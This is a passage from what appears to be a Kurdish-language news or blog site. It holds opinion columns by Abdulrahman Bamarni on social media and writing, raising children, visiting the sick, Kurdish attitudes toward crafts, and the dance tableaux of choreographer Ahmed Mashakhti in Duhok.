ل دویڤ پۆست و گۆتارێن د (سۆشیال میدیایێ) دا دهێنه‌ بلاڤكرنێ. ئێدی خه‌لك نه‌چار نینه‌ ل سه‌ر گۆتارا یان پۆسته‌كێ درێژێ كه‌سه‌كی راوه‌ستیت، تا لدووماهیێ بزانیت كا ڤی نڤیسكارێ هه‌نێ چ نڤیسی یه‌. ئه‌گه‌ر پێش خورتبوونا ئه‌نترنێتێ لده‌ف مه‌، نڤیسه‌ران گۆتارێن درێژ هه‌بن، رۆژنامێ بۆ نیڤ لاپه‌ر یان زێده‌تر ته‌رخانكربن و خوانده‌ڤانی گۆتارا وی هه‌می خواند بیت، ئێدی د سۆشیالێ دا ئه‌و نه‌ما. ده‌ما خوانده‌ڤان گۆتاره‌كا درێژ دبینیت، چه‌ند یا گرنگ ژی بیت ره‌نگه‌ بتنێ بۆ دلێ نڤیسه‌ری گوله‌كێ یان لایكه‌كێ ل سه‌ر گۆتارا وی بده‌ت و لڤێره‌ نڤیسه‌ر نه‌چار دمینیت گوهۆرینێ د شێوازێ خوه‌یێ نڤیسینێدا بكه‌ت و دڤێت ب كێمترین په‌یڤ بابه‌تێ خوه‌ بگه‌هینیت و شرۆڤه‌كرن، ڤه‌جینا بابه‌تی و كا گۆتارا وی چه‌ند یا درێژه‌ ئه‌ڤه‌ نڤیسه‌رییا وی پیشاندده‌ت، ناخووت، به‌لكو خوانده‌ڤای ژێ دڤێت، ب كێمترین په‌یڤ، تشتێ هه‌ی ب ده‌ربرینه‌كا جوان بگه‌هینیت و لڤێره‌ گه‌له‌ك نڤیسه‌ران شیاینه‌ خوه‌ دگه‌ل ڤان گوهورانكاریان بگونجینن و نه‌ بتنێ ئه‌ڤه‌، به‌لكو سۆشیال میدیا و ئه‌رنترنێت بگشتی یا بۆ وان بوویه‌ پێنگاڤه‌كا گرنگ كو به‌رهه‌مێ وان بگه‌هیته‌ زێده‌ترین خوانده‌ڤا ل هه‌ر كوژیێ جیهانێ بیت، كو ل دووماهیێ ژی مه‌به‌ستا نڤیسه‌ری هه‌ر ئه‌ڤه‌یه‌، ئه‌و تشتێ ئه‌و دنڤیسیت باشترین خوانده‌ڤان بۆ هه‌بیت.
لدوور خوانده‌ڤای:
ئه‌گه‌ر د ده‌مه‌كی دا بۆ نڤیسه‌ری ده‌رباز ببیت و هه‌ر تشتێ وی نڤیسا بیت وه‌ك خوه‌ بلاڤ ببیت و خوانده‌ڤایێ وی بتنێ خوانده‌ڤان بیت، ئێدی خوانده‌ڤا ژی بوویه‌ به‌شه‌ك ژ نڤیسینێ، خوانده‌ڤا ل سه‌ر هه‌ر بابه‌تێ یان پۆستێ د سۆشیالێدا بلاڤ دبیت رادوه‌ستیت، ئێدی ل رۆلێ ره‌خنه‌گری ژی رادبیت و راسته‌ راست كۆمێنتا خوه‌ دنڤیسیت و دیتنا خوه‌ ده‌رباره‌ی گۆتارێ یان پۆستی ده‌ردبریت و نه‌ بتنێ ئه‌ڤه‌، به‌لكو گه‌له‌ك خوانده‌ڤایێن دی ژی یێن سۆشیالێ ل كۆمێنتا دزڤرن و ب ره‌نگه‌كی و دوویان دبنه‌ پشكه‌ك ژ گۆتارێ، یان كو ئێدی تا نڤیسه‌ر گۆتاره‌كێ بلاڤدكه‌ت، نه‌چاره‌ چه‌ندین جارێن دی ل گوتارا خوه‌ بزڤریت و ل سه‌ر راوه‌ستیت و شنی ببلاڤ بكه‌ت.

11

عه‌بدولره‌حمان بامه‌رنی
ئه‌رێ راسته‌ په‌روه‌رده‌كرنا زارۆكی هونه‌ر بۆ دڤێت یان د شیانێن هه‌ر كه‌سه‌كیدایه‌، كو دێ شێت زارۆكی ب خودان كه‌ت؟ ئه‌ڤ پرسیاره‌ گه‌له‌ك جارا دهێته‌كرنێ و هنده‌ك دبێژن ئه‌گه‌ر خێزانێ زارۆك كێم هه‌بن، دێ باشتر هێنه‌ ب خودانكرن و لێ خێزان یێن هه‌ین زارۆكێن وان د كێمن، ئێك یان دوو بتنێ نه‌ و كه‌سێن زیره‌ك ژێ دروست نه‌بووینه‌ و خێزانێن هه‌ین هه‌شت زارۆك و زێده‌تر ژی یێن هه‌ین، لێ ده‌ما ئه‌ڤ زارۆكه‌ مه‌زن ژی بووین شیاینه‌ پشتبه‌ستنێ ل سه‌ر خوه‌ بكه‌ن و لڤێره‌ دیاردبیت، كو به‌لێ ب خودانكرنا زارۆكی هونه‌ر بۆ دڤێت و ره‌نگه‌ ده‌یك و باب دبنه‌ ئه‌گه‌ر كو ئه‌ڤ زارۆكه‌ كه‌سه‌كێ خودان شیان بیت و ره‌نگه‌ ژی داهێنانێ لده‌ف وی ب كوژن و ئێدی ڤی زارۆكی باوه‌ری بخوه‌ نه‌بیت.
به‌را چه‌نده‌كێ بوو من پارچه‌ ڤیدیۆیه‌ك دیت، زارۆكه‌كی یاریكا خوه‌ كو ترۆمبێله‌كا بچویك بوو و تایره‌كا وێ ژێڤه‌ببوو، بره‌ ده‌ف بابێ خوه‌ كو ل سه‌ر كورسیكه‌كێ یێ روونشتی بوو، گوته‌ بابێ خوه‌ باب تایرا ترۆمبێلكا من یا ژێڤه‌بووی بۆ من چێكه‌؟ لێ ژبه‌ركو باب یێ مژوولی خواندنا رۆژناما خوه‌بوو، هه‌ر وه‌ك دیار ژی ژ ئه‌وا ژناڤمالیێ د وێ پارچه‌ ڤیدیۆیێ دا ده‌ركه‌فتی خێزانه‌كا ده‌وله‌مه‌ندبوو، ئینا بابێ وی ترۆمبێله‌ك ژ ده‌ستێ زارۆكێ خوه‌ ئیناده‌رێ و هاڤێته‌ د سه‌لكا گلێشیدا و گوته‌ كورێ خوه‌، ئه‌ڤ یاریكه‌ چێنابیت و یا شكه‌ستی، ده‌ما دچمه‌ بازاری دێ بۆ ته‌ ئێكا باشتر كرم. لێ زارۆك چوو ترۆمبێلكا خوه‌ ژ سه‌لكا گلشی ئیناده‌رێ ڤه‌ و دانا عه‌ردی و تایرا وێ راكر و دانا سه‌ر ئاسنكێ كو تایره‌ دكه‌ڤیتێ و ل سه‌ر شداند و تایرا ترۆمبێلكا وی چوو جهێ خوه‌ و گوته‌ بابێ خوه‌، ئها ئه‌ڤه‌ ترۆمبێلكا من دروست بوو و قه‌ستا یاریكرنا خوه‌ كره‌ڤه‌. ژ ڤێ پارچه‌ ڤیدیۆیێ هه‌ر كه‌سه‌كێ بینته‌ به‌رچاڤێن خوه‌، مرۆڤ دشێت ڤان ده‌رئه‌نجامان ژێ بینته‌ ده‌رێ ئه‌وژی:
ـ زارۆكی دڤیا سه‌رنجا بابێ خوه‌ رابكێشیت، كو به‌لێ ئه‌ز یێ دمالێدا و هنده‌ك ده‌مێ خوه‌ بده‌ من خوه‌ ئه‌گه‌ر یاریكا ژی دگه‌ل من نه‌كه‌ی، لێ ب ره‌نگه‌كی و دوویان هه‌ست بمن بكه‌ و د به‌رامبه‌ردا، بێ ڤی زارۆكی نه‌ بتنێ ده‌مێ خوه‌ نه‌ددا زارۆكێن خوه‌، به‌لكو ده‌ما ئه‌ڤ ده‌ستپێشخه‌ریه‌ ژلایێ زارۆكێ ویڤه‌ بۆ هاتی، ئه‌وی ب گرنگی نه‌زانی و هزرا هه‌می ل ده‌رڤه‌ی مالێ و خێزانێ یه‌ و خێزان ل ده‌ف وی تشته‌كی لاوه‌كییه‌.
ـ ده‌ما بابێ گۆتییه‌ زارۆكی كو ئه‌ڤ ترومبێلكه‌ ئێدی شكه‌ست و ب كێر یاریكرنێ ناهێت و دێ بۆ ته‌ ئێكا نوی كرم، هه‌ر وه‌كو بیرۆكه‌یه‌ك د مێشكێ ویدا دروست كری كو به‌رده‌وام پاره‌ی ب مه‌زێخیت و ژلایه‌كێ دیڤه‌ ته‌مبه‌لیێ لده‌ف دروست بكه‌ت و به‌هره‌مه‌ندیێ ل ده‌ڤ دكوژیت.
ـ ده‌ما زارۆكی گۆتیه‌ بابێ خوه‌ دێ ترۆمبێلكێ دانیه‌ عه‌ردی و دێ تایركا وێ ئێخینه‌ سه‌ر ڤی ئاسنكی و دێ دروست بیت، ئه‌وی شییا وانه‌كێ بده‌ته‌ بابێ خوه‌ و هه‌ر كه‌سێ وێ پارچه‌ ڤیدیۆیێ دبینیت، كو ئه‌ڤا ته‌ كری به‌روڤاژیا وێ دروسته‌ و نابیت هه‌ر تشتێ كێماسیه‌ك گه‌هشتێ مرۆڤ ژكاربێخیت.

8

عبدالرحمن بامه‌رنی
به‌ری دو سالان بۆ یان زێده‌تر، كه‌سه‌كێ هه‌ڤال و ناسیار و خودان خێزان، تووشی نه‌خۆشیه‌كا گران ببوو، نوژداران بێ هیڤی كربوو و به‌رده‌وام ناسیار و هه‌ڤالان سه‌ره‌دانا وی دكر، لێ راستی بیت سه‌ره‌دانێن من ژ یێن وان كێمتر بوون، ژبه‌ركو مالا وان درێكا مالا مه‌دابوو، گه‌له‌ك جاران ل سه‌ر به‌ربانكی من ددیت و ئه‌ز دا ل نك راوه‌ستم و ژ دێمێ وی دیار، سه‌دان پرسیارێن بێ به‌رسڤ د مێشكێ ویدا هه‌بوون، وی هزر دكر دێ پرسیارا نه‌خۆشییا وی كه‌م، بێژمێ سه‌لامه‌تی بیت و ئه‌ڤه‌ قه‌ده‌را خودێ یه‌ و لێ راستی بیت من دل نه‌ددا ڤێ بێژمێ، خودان خێزان بوو، زارۆك هه‌بوون، چ موچێن فه‌رمی نه‌بوون ل پشتی مرنا وی، داهاته‌ك بۆ خێزانا وی بهێت و ته‌ بڤێت ئه‌و هزرێن نه‌خۆشیا خوه‌ بكه‌ت و ژ مرنێ بترسیت یان ژی هزرێن خێزان و زارۆكێن خوه‌ بكه‌ت، پشتی مرنا وی، دێ چاره‌نڤیسێ وان بیته‌ چ؟! لێ ژ خواندنا من بۆ دێمێ وی، بابه‌تێ نه‌خۆشیێ من به‌حس نه‌دكر، هه‌ر وه‌كو كه‌سه‌كێ ل سه‌ر خوه‌ و ژیان ل به‌ر سینگا یا ڤه‌كری من به‌رێخوه‌ددایێ، دا بیرهاتنه‌كێ بۆ بێژم، وی كێشمه‌ ناڤ سوحبه‌ته‌كێ، هه‌ر سوحبه‌تا با، بتنێ دویری نه‌خۆشیا وی، دویری بارودوخێ نه‌خۆش یێ ژیارێ و بڤێ چه‌ندا كورت ئه‌ز دشییام بشكورینه‌كێ بێخمه‌ سه‌ر لێڤێن وی، هه‌ر چنه‌بیت هیڤیه‌كێ بۆ به‌رده‌وامیا ژیانێ بده‌مێ و لایه‌نه‌كێ روهن بینمه‌ به‌رچاڤێن وی. كو ب مخابنیڤه‌ پرانیا جاران ده‌ما ئه‌م سه‌ره‌دانا نه‌خۆشان دكه‌ین، ئه‌م دبینه‌ ئه‌گه‌ر كو نه‌خۆشیا وی ل سه‌ر وی گرانتر لێبهێت.
ئه‌ز دێ به‌حسا نموونه‌كا دانوستاندنه‌كێ كه‌م د ناڤبه‌را من و هه‌ڤاله‌كی دا، ئه‌وی هۆسا به‌حسا سه‌ره‌دانا نه‌خۆشه‌كی كر، گوت ئه‌م چووین سه‌ره‌دانا كه‌سه‌كی بكه‌ین و ئه‌ڤا وی دگوت ل سالێن هه‌شتییان بوو ژ چه‌رخێ ده‌رباز بووی، گوت ئه‌م چووینه‌ مالا وان ژبه‌ركو بۆ چاره‌سه‌ریێ بربوو باژێرێ مووسل ده‌ف نوژداره‌كێ زیره‌ك و ئه‌م ژی یێ دل دلی وی دده‌ین و دبێژینێ خوه‌ ب هێز بێخه‌، دێ رابیه‌ ڤه‌، ئه‌ڤه‌ بتنێ په‌ژیكه‌كه‌، مه‌ دیت دوو ژن ژی یێن سه‌ره‌ هاتنه‌ ژوور و هاتبوون سه‌را نه‌خۆشی بده‌ن و وان ژی سوحبه‌ت ڤه‌كرن و گوتێ: ئه‌رێ نه‌خۆشیا ته‌ هه‌را گران تر لێدهێت، ره‌نگێ ته‌ یێ زه‌رتر لێهاتی و ئه‌ڤه‌ چیه‌ چ نیشانێن باشیێ لته‌ په‌یدا نه‌بوونه‌، ما تو چبوویه‌ ده‌ف كیژ نوژداری؟ نه‌خۆشی ژی به‌حسا نوژدارێ خوه‌ یێ مووسل بۆ كرن، ژنه‌كێ ژوان گوتێ هه‌ی ده‌یكا ته‌ نه‌مینیت و به‌حسا كه‌سه‌كێ دی بۆ كر ژ تاخێ وان چبوو ده‌ف هه‌مان نوژدار، لێ ژ نه‌خۆشییا وی یا گران ژیانا خوه‌ ژ ده‌ستدابوو و گوتێ هه‌ر كه‌سێ چوویه‌ ده‌ف وی نوژداری سه‌رێ خوه‌ نه‌راكریه‌ڤه‌. هه‌ڤالێ من گوت درێژناكه‌م، پشتی سێ رۆژان نه‌خۆشێ مه‌ ژی وه‌غه‌ر كر و ئه‌ز پشتراستم، ئه‌گه‌ر ئه‌و هه‌ردو ژن نه‌بانه‌، دبیت ره‌وشا نه‌خۆشێ مه‌ باشتر بایه‌.
ژڤان هه‌ردو نموونه‌یێن ل سه‌ری، دڤێت ئه‌م هشیاری سه‌ره‌دانێن خوه‌ بین و شینا ببینه‌ هاریكارێ نه‌خۆشی كو نه‌خۆشیا وی ل سه‌ر سڤك بكه‌ین، نه‌بینه‌ ئه‌گه‌ر كو ئێكجار بكه‌ڤیته‌ بن بارێ خه‌مان و هه‌ر سه‌باره‌ت نه‌خۆشیێ، نوژداره‌كی د پارچه‌ ڤیدیۆیه‌كێ دا هۆسا به‌حسا نه‌خۆشیان دكر، گۆت پرانیا نه‌خۆشییان ب ده‌روونێ مرۆڤی ڤه‌ دگرێداینه‌، ئه‌گه‌ر هزرا مرۆڤی ما ل سه‌ر نه‌خۆشیا مرۆڤی، ئه‌ڤێن ل ده‌ردوورێن مرۆڤی هه‌ر ئه‌و نه‌خۆشی ئینا بیرا مرۆڤی، ب پشت راستی مرۆڤ دێ نه‌خۆشتر كه‌ڤیت و وی نوژداری ب پشتراستیڤه‌ دگوت و دوپاتدكر، له‌شێ مرۆڤی ئه‌و هه‌می به‌رگری یێن هه‌ین، كو ئه‌و بخوه‌ خوه‌ چاره‌ بكه‌ت و ده‌ما ئه‌ڤێ پرسیار ژ نوژداری دكرن، گوتیێ پا تو بۆ نه‌خۆشییا سه‌رمایێ وه‌ك په‌رسیڤی و تایێ چ دبێژی؟ نوژداری گوت، ئه‌ڤ نه‌خۆشیه‌ گرێدای سه‌رمایێ نه‌ و خو نه‌پاراستنا مرۆڤی و كارێ گران.
كورتیا بابه‌تی هه‌می تشت دكه‌ڤنه‌ بن هێزا راكێشانێ و ئه‌گه‌ر مرۆڤ یێ ره‌شبین بیت، دێ تشتێ خراب هێته‌ رێكا مرۆڤی و به‌رۆڤاژی و گوتنه‌كا هه‌ی دبێژیت گولا بچینه‌ دێ گولان هه‌لینی و بلا مرۆڤ گول بیت و نه‌ بتنێ بۆ سه‌ره‌دانا نه‌خۆشی مرۆڤ گولان ببه‌ت، به‌لكو فه‌ره‌ ئاخفتنێن مرۆڤی ژی گول ژێ ببارن.

9

عه‌بدولره‌حمان بامه‌رنی

ده‌سته‌واژه‌یێ پیشه‌داریێ یانكو هۆستاكاری، لده‌ف مه‌ كوردان تشته‌كێ شه‌رم بوویه‌ و هێشتا ب دروستاهی نه‌كه‌فتیه‌ سه‌ر زارێ مه‌ و سه‌ره‌رای ئه‌ڤرۆیا یا ئه‌م تێدا دژین، ته‌كنه‌لۆژیا سه‌رده‌م، پیشه‌سازییا جیهان گه‌هشتیێ، هه‌می به‌رهه‌مێن وێ هۆستاكاریێ و پیشه‌داریێ نه‌. هنده‌ك راستیێن مێژووی یێن هه‌ین فه‌ره‌ ئه‌م ده‌رگه‌هێ وان ب قوتین، چ ئه‌و راستیێن هه‌نێ د باش بن یان ژی دخراب، لێ ئه‌ڤه‌ پشكه‌كه‌ ژ كه‌لتۆر و مێژوویا مه‌ و ئه‌ز دێ به‌حسا پیشه‌داریێ، هۆستاكاریێ كه‌م و راستی ئه‌ڤه‌ ژمێژه‌یه‌ ئه‌ز ب ڤی بابه‌تیڤه‌ مژوول، بۆچی كوردان پویته‌ ب پیشه‌داریێ نه‌دایه‌، ئه‌رێ راسته‌ هۆستاكاری ل ده‌ف كوردان شه‌رم بوویه‌ و ب چاڤه‌كێ كێم ل هۆستایان سه‌حدكرن؟!!

لدویڤ ئه‌وا ب به‌رچاڤێ من كه‌فتی، كوردان زێده‌تر حه‌زژ ئاژه‌لداریێ دكر، به‌لگه‌ ژی بۆ ڤێ چه‌ندێ، گوندێن كوردان زێده‌تر گوندێن چیایینه‌ و نێزیكی وان ده‌ڤه‌رانه‌ ئه‌ڤێن گژوگیا و ئالفێ ئاژه‌لی لێهه‌ی، ژبلی بڕگه‌یێ هه‌بوونا ئاڤێ، كو ئه‌ڤه‌ بۆ ب خودانكرن و ئاڤدانا ئاژه‌لداریێ گرنگه‌ و ئه‌گه‌ر ل شوونه‌وارێن گوندێن كوردان ژی بگه‌ری، ره‌نگه‌ دێ به‌رێن ئاشێن ئاڤی ب به‌رچاڤێن ته‌كه‌ڤن، لێ وه‌ك ئاڤاهی، پیشه‌یێن دی گه‌له‌ك دكێم بوونه‌ و هه‌ر دێ بێژی بابه‌تێن لاوه‌كی بووینه‌! بوچی؟ ژبه‌ركو تاكێ كوردێ موسلمان ژ خوه‌ نه‌دگرت هه‌می پیشه‌ییا بكه‌ت یان خه‌لك بێژیتێ هۆستا و ژبه‌ر هندێ ژی و خوه‌ د چیرۆكێن فلكلوری دا، بتنێ (جوهی) پیشه‌دار بووینه‌ و كێم جاران كوردان پیشه‌یێ خوه‌ یێ تایبه‌ت هه‌بوویه‌ و ره‌نگه‌ د چارچووڤه‌یێ نالبه‌ندیێ، نێچیرڤانیێ دا و هنده‌ك پیشه‌یێن دی یێن كێم ده‌رنه‌كه‌ڤیت. لدویڤ په‌رتووكا چیرۆكێن كرمانجی بیت یا نڤیسه‌رێ وێ شێخ عه‌لی نه‌قشه‌به‌ندی، چاپا دوویێ، وه‌شانێن ده‌زگه‌هێ خانی یا ره‌وشه‌نبیری و راگه‌هاندنێ پشكا ره‌وشه‌نبیری، 2022، لاپه‌ره‌ 121-122، هۆسا به‌حسا پیشه‌یێ كوردان دكه‌ت: “فه‌له‌: مه‌سیحی، ب ئارمانجا گوتنا جۆتیار، به‌رێ ئاڤه‌دانیا گوندان و ڤه‌رێژا چاندنێ كوردێن مه‌سیحی ب ستویێ خوه‌ڤه‌ گرتبوو. لنك عه‌شیرێن كوردێن مولسمان شه‌رمبوو چاندنێ بكه‌ن. ب تایبه‌تی چاندنا زه‌رزه‌واتی، وه‌كو باجانسوركا و خیار و كه‌ره‌فسێ و هتد، ژبه‌ركو چاندن دبۆ ئه‌گه‌را خوه‌جهیێ و نه‌شیانا كوچه‌رایێ و ئه‌فه‌ندایه‌تیێ و هه‌وان. له‌و پتر ڤان عه‌شیرا پیشه‌ییا ب خودانكرنا په‌زان، كه‌والان كربوو كاروبار، و فه‌لان چاندن و ئاڤه‌دانیا گوندان ب ئه‌نجامددا. جوهیان خوه‌ دابوو ئالێ ڤه‌رێژێن پیشه‌سازی، وه‌كو گێرانا ئاشێن هێرانا گه‌نمی و چێكرنا ته‌حینێ، دیسان دارسازی دكر، وه‌كو چێكرنا ده‌رو و په‌نجه‌ران و دگه‌ل فه‌لان، هۆستایا ئاڤاهییان و ره‌نگكرن و راچاندنا ده‌زی و به‌ندكان بۆ چێكرنا جلوبه‌رگان (شه‌لوشه‌بكان/ به‌رگیزا)، و شه‌هره‌زاییا نوژداریێ و چێكرنا ده‌رمانێن گیایی.

خوه‌ ئه‌گه‌ر ل پیشه‌یێ قه‌ره‌چان ژی بگه‌رین، كو ڤێ دووماهیێ ب ناڤێ (دوم) فێستیڤاله‌ك بۆ هاته‌ گێران، ئه‌وان كارێ پیشه‌یێ دكر، كارێ دروستكرنا لاندكان، خانكان، تیرۆكان…هتد و ژبه‌ركو ل ده‌ستپێكێ وه‌ك ئه‌ڤرۆ نه‌بوو كو بازار هه‌بیت، دكان هه‌بن و گوند د بچویك بوون، بوویه‌ ئه‌ڤ كارێن ده‌ستی دهاتنه‌ گێراندن، بۆ به‌رچاڤكرنێ و فرۆشتنێ. ژبلی ڤێ پیشه‌یێ هه‌ره‌ به‌رچاڤێن خه‌لكی دكرن، نالبه‌ندی بوو، ئاشێ هێرانا دانی بوون، ئاشێن ته‌حینێ بوو و هنده‌ك كارێن دی یێن كێم.

یا من دڤێت بگه‌همێ، ئه‌م چاوا پیشه‌داریێ د ناڤ خوه‌دا، لده‌ف تاكێ كورد بكه‌ینه‌ كه‌لتۆر، هه‌ر گاڤا مه‌ شییا ڤێ پێنگاڤێ بهاڤێژین، باوه‌ردكه‌م دێ مه‌ شیانێن گه‌له‌ك تشتێن دی هه‌بن و ئه‌ڤێ ژی پێنگاڤ و پلان بۆ دڤێت و پشته‌ڤانی.

24

عه‌بدولره‌حمان بامه‌رنى
ئێك ژ برگێن ل ده‌ستپێكا پرانیا هه‌لكه‌فت و ئاهه‌نگ و كۆنگران دهێته‌ نیشادان، برگه‌كا هونه‌ری یه‌ و پرانیا جاران ژى تابلۆیه‌كێ هونه‌ریێ سه‌مایێ دهێته‌ نیشادان. ئه‌ڤا من مه‌به‌ست پێ باژێرێ دهۆكێ یه‌ زێده‌تر، كو ڤان تابلۆیان تایبه‌تمه‌ندیه‌كا خوه‌ هه‌یه‌ و پارێزگه‌ها دهۆكێ زێده‌تر ژ پارێزگه‌هێن دیێن هه‌رێما كوردستانێ، چه‌ندین نه‌ته‌وه‌ و ئۆل كلتۆرێن جودا لێ دژین و پێكڤه‌ژیانا ڤان هه‌مى جوداهیان، تابلۆیه‌كێ خورستى په‌یداكریه‌ و دا كو ئه‌ڤ تابلۆیێ هه‌نێ ژ بلنداهیا خوه‌ بكه‌ڤیته‌ به‌رچاڤێن خه‌لكى و كه‌توارێ دروستێ پێكڤه‌ژیانا ل ڤێ پارێزگه‌هێ نیشابده‌ت، دڤێت به‌هره‌مه‌نده‌ك هه‌بیت و بزانیت، دێ چاوا گیانى ب ڤى تابلۆى په‌خشیت و په‌خشینا گیانى ژى، وه‌ك هونه‌ر و ئه‌ده‌ب ئه‌ز دبێژم، دڤێت هونه‌رمه‌ند و ئه‌دیبێن هزر ڤه‌كرى و بیر تیژ هه‌بن و خولقێنه‌رێ تشتێن نوو بن.
مشه‌ختى وه‌ك نموونه‌
ب ڤى ره‌نگى من دڤێت به‌حس ل تابلۆیێن سه‌مایێ، ئه‌ڤێن ژلایێ هونه‌رمه‌ند (ئه‌حمه‌د مشه‌ختى)ڤه‌ دهێنه‌ دروستكرن بكه‌م. یا راستى بیت من ناڤێ مشه‌ختى به‌رى دیتنا وى گوهلێ ببوو و ئه‌ڤه‌ ژى ژ سه‌رسۆرمانیا من ب وان تابلۆیانڤه‌، ئه‌ڤێن د ڤان هه‌لكه‌فتان دا دهاتنه‌ نیشادان، كو یا راستى بیت نه‌ بتنێ سه‌رنجا من رادكێشان، به‌لكو ئه‌ز ئێك ژ وان هه‌مى بینه‌ران بووم، ئه‌ڤێن مه‌ ته‌ماشا دكر و ئه‌م ب له‌یزتن و لڤینێن خوه‌ڤه‌ حێبه‌تی دكرین، ئه‌ز ناڤه‌شێرم گه‌له‌ك جاران من دڤیا ژ نێزیك من ئه‌و كه‌سێ هه‌نێ ناسكربایه‌، بۆ من گرنگ نه‌بوو، ئه‌و چ كه‌س بیت و چ ره‌نگ بكه‌ته‌ به‌ر خوه‌ و ب چ ده‌ڤۆك باخڤیت، لێ یا گرنگ، ئه‌ڤه‌ ئێك ژ به‌رهره‌مه‌ندێن باژێرێ منه‌ و بۆ من خۆشه‌ ئه‌ز هه‌مى وان كه‌سان ژ نێزیك ناس بكه‌م، یێن شوون تلێن خوه‌ هه‌ین، هه‌تا رۆژه‌كێ و د هه‌لكه‌فته‌كا رۆژنامه‌ڤانیدا، كو ئه‌ڤێن پرتووكێن رۆژنامه‌ڤانى هه‌ین، دوان رێ و ره‌سماندا په‌رتووكێن خوه‌ پیشانددان و بۆ ئاماده‌بوویان ئیمزا دكرن و ئه‌ز ژى ئێك ژوان كه‌سان بووم یێن خودان پرتووك، ئه‌حمه‌د مشه‌ختى هاته‌ هنداڤ سه‌رێ من، ده‌ما ئه‌ز ل سه‌ر مێزێ و ب كارێ ئیمزاكرنا پرتووكێن خوه‌ڤه‌ مژوول و ده‌ما بوویه‌ دوورا وى، من گۆتێ، ناڤێ ته‌ دا ل سه‌ر پرتووكێ بنڤیسم و بۆ ته‌ بكه‌مه‌ دیارى، پرسا من ژ ناڤێ وى و ده‌ما ناڤێ خوه‌ گوتى، راستى من نه‌زانى ده‌ستێ وى بگڤێشم ژبه‌ر كارێن ویێن هونه‌رى یان ژى به‌رده‌وام بم ل سه‌ر ئیمزاكرنا په‌تووكا خوه‌ و ناڤێ وى ل سه‌ر بنڤیسم. هه‌ر چاوا بیت، وێنێ وى و دێمێ وى و كارێ ویێ دروستكرنا تابلۆیان ژ سه‌رێ من نه‌هاتنه‌ ده‌ر و راستى ژى بیت، هه‌ر چه‌نده‌ ئه‌و ل سه‌ر ده‌پێ شانوویێ نا ده‌ركه‌ڤیت ژى، لێ ئه‌و هژیانێ دئێخیته‌ هۆلێ هه‌میێ و ئاماده‌بوویان بكارێن خوه‌ڤه‌ سه‌رسۆرمان دكه‌ت، دووماهى كارێ وى ژى من دیتى، ل حه‌فته‌مین فلمه‌ فێستیڤالا دهۆك یا نێڤده‌وله‌تى بوو و ئه‌ڤ تابلۆیه‌ ژى به‌رهه‌مێ تیپا دهۆكێ یا هونه‌رێ مللى بوو، كو تابلۆیێ پێكڤه‌ ژیانێ بوو.
بۆچى تابلۆ
ره‌نگه‌ گه‌له‌ك كه‌س هزر بكه‌ن، ئه‌ڤ تابلویێن هونه‌رى و برگێن هونه‌رى یێن د رێوره‌سمێن پرانیا ڤان بونان دا دهێنه‌ گێران، ب تنێ ده‌ڤ شرین كرنه‌ك بیت ژ بۆچوونا ناڤا روودانه‌كێ، چ فلمه‌ فێستیڤال بیت یان د هه‌ر واره‌كێ دیدا بیت، كو پێشده‌م كار ژ بۆ هاتیه‌كرن و خه‌لك بۆ هاتیه‌ داخوازكرن، ب هزرا من هه‌كه‌ وه‌سا ژى بیت، لێ دڤێت ئه‌م ل سه‌ر وان برگه‌یان رابوه‌ستین و مافێ وانه‌ ئه‌م ده‌ستخۆشیێ ژى لێبكه‌ین، ژ به‌ركو ئه‌و یێ نوونه‌راتیا ڤى باژێرى ب هه‌مى كه‌لتۆرێن خوه‌ یێن جودا ڤه‌دكه‌ن، هه‌كه‌ برگه‌كا لاواز بهێته‌ نیشادان و ئه‌و تابلۆیێ دهێته‌ نمایشكرن ل ئاستێ پێدڤى نه‌بیت، ره‌نگه‌ هه‌ر ل ده‌ستپێكێ وێنه‌كێ نه‌ دروست د چاڤێن ئاماده‌بوویاندا دروست بیت و تایبه‌ت ژى، هه‌كه‌ مێهڤان ژ پارێزگه‌هێن دى یان وه‌لاتین دى د وێ هه‌لكه‌فتێ دا د ئاماده‌ بن، بوویه‌ ئه‌ز ب شانازیڤه‌ دبێژم، ئه‌م ل پارێزگه‌ها دهۆكێ شانازیێ ب كارێن (مشه‌ختى) دبه‌ین و هیڤیخوازین، ئه‌و د كارێ خوه‌ دا داهێنانێن جوانتر بكه‌ت و روویه‌كێ جوانتر بده‌ته‌ پارێزگه‌ها مه‌.

website security
WP Facebook Auto Publish Powered By : XYZScripts.com